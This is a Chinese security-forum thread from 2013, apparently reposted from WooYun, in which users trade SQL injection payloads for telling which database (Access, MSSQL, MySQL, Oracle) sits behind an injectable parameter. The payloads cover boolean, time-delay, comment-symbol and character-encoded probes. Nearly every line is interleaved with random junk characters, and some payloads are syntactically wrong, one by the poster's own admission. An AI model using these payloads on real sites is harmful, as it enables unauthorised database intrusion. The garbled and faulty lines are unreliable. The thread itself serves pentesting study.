找回密码
 立即注册
查看: 2442|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
6 A; H5 n' N( V7 J- z7 e, Mxsser (十根阳具有长短!!) | 2013-02-05 12:36
- z0 Y1 o" t# R( h假设这么一个注射点:
" \& D( w4 {' j5 }show.html?id=2
8 {' `7 e% w' E( R2 y: Kmysql:id=2 and version()>0
" F4 K1 U  l  W$ j, t% Uoracle:id=2 and '1'||'1'='11  H; M0 a! L/ B
其他的欢迎补充) `" o1 ]+ c; t( V' s( Q  R0 L
1#
' i4 S4 {) u4 U2 C% F/ b3 B$ C0 Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47( j6 h) }2 x) b
Access:' l+ X0 r6 F0 `% f+ O6 ^6 x
aNd aSc(cHr(97))=97
, H5 W5 x0 I5 o+ H& _) \and exists(select id from MSysAccessObjects)
) \4 ~  \. I" X6 b& J7 B  ?SQL Server:: Z/ g; \  E# s
and exists(select id from sysobjects)' A2 q! r* c9 a2 F
and length(user)>00 v; l8 ~% i: S, v, K' ]7 `
MySQL:4 K9 v9 w, g  L# X0 A& ]
and length(user())>0
9 P( \6 g9 U, x- N/ o% [2#% }6 d; I  X5 `  w, D1 L
xsser (十根阳具有长短!!) | 2013-02-05 12:485 u( v  n" b, W/ R# I8 G
@upload 如果这些都不是呢…
7 b2 b$ w! b2 {3#
: ~8 X$ b/ p7 y0 G! \1 j$ V+ {upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
# s# A, y, X* H" o1 ^3 u# S) v+ v@xsser 不快速的,延时注入
) ?4 K3 I# s9 Q  i不知道这样写对不对
+ U) Z! H8 W9 B9 o* i5 Fmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
  @+ f8 }+ v' j1 t  P- j0 emysql:id=2 and select benchmark(1e8,current_date());
2 k& g* ?6 V3 t! q8 |$ t4#) Q9 j9 s& S+ o# P% Y  E7 x
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 q  ?* b7 ?0 I最快的貌似是看报错信息
0 s, f1 Z, j5 Z& f: V; C1 Ioracle error
) S  f% S/ M  H4 X4 |( ]mssql error; ?; K: c* p: E
mysql error, \2 h7 m& [- k! U' N9 r- B: C
5#
+ |; c5 c% t2 S* V/ NNimda (你们都是坏银~) | 2013-02-05 13:149 ]) b) Z- A+ t9 \3 v
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
: W( r9 x2 r) ^6 U& R6#! n1 r) v/ Y( R, z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
# x- `+ r, \6 |0 z“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:( g/ j# I  f/ y. U8 p1 ]) [5 k
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:8 F( u' g7 \2 v, u
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。, M5 X- o9 Y' M& j0 ~5 H
7#& O  {% Q7 L" }1 r0 _5 N, g
_Evil (HackEnd) | 2013-02-05 13:33( j5 d% _% P. ~( L; a% \
PostgreSQL
, s5 b' N* T5 B" @* E" d$ e8#
6 \3 u) W& `' B# r) c+ Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42% K6 S6 v1 G$ f8 g' G
切换编码 and 1=10 U  g) ^+ A, B+ ]3 b8 m
oracle:' c2 ^% v3 b+ @2 ?3 ^# @3 T. P  q
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)( n) E4 E: _1 V) X2 o; K
mssql:1 s" \3 _* X. _
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)$ Z: }* _: }5 v! O9 r/ `
mysql:- z4 {: o1 [, s+ v- `/ Z& W
CHAR(97, 110, 100, 32, 49, 61, 49)6 w+ A* w3 x- n; F8 {+ t
9#( ]9 w; b! o, `5 X
xsser (十根阳具有长短!!) | 2013-02-05 14:317 Y/ P* S$ R7 @2 t% V
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?! ^5 w2 q0 o; p2 }# a
10#( Y+ A) u3 ^" F$ L% @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46$ I" {$ o( h: m1 S7 i1 v! c4 H. y/ ]
@xsser 是奇葩数据库类型的么?9 t% o. _" N+ q/ E& y  E& V+ T' y
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:& J: {8 E$ a- s$ x6 s; \4 |9 W
1.是否可以使用特定的函数来判断,该数据库特有的) Q3 D7 v0 E& k) ?! l2 y' ?
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等, z( ^; X8 b+ ^4 n# j
3.是否可以编码查询
5 N8 t* C1 X8 l1 d4.是否显可以利用错信息: m, n; H  Q6 c/ }! x& ]. s
5.是否存在数据库某些特性辅助判断0 j/ T1 b" k8 W
个人见解, c9 T2 M5 z8 K+ B7 m
11#% s) }/ R, k) @/ c/ X; A
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:556 W& h; B2 i0 v6 q8 B
已收藏,mssql可以直接看到错误提示的吧~, R7 ?4 J2 B' A; e1 n& a
12#
( e3 ^# y. ?0 c+ U6 U5 l' nPasser_by | 2013-02-05 15:09
& e' o$ u$ ]1 y- ]" B曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。8 E) j  r/ r  ~& @* c
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表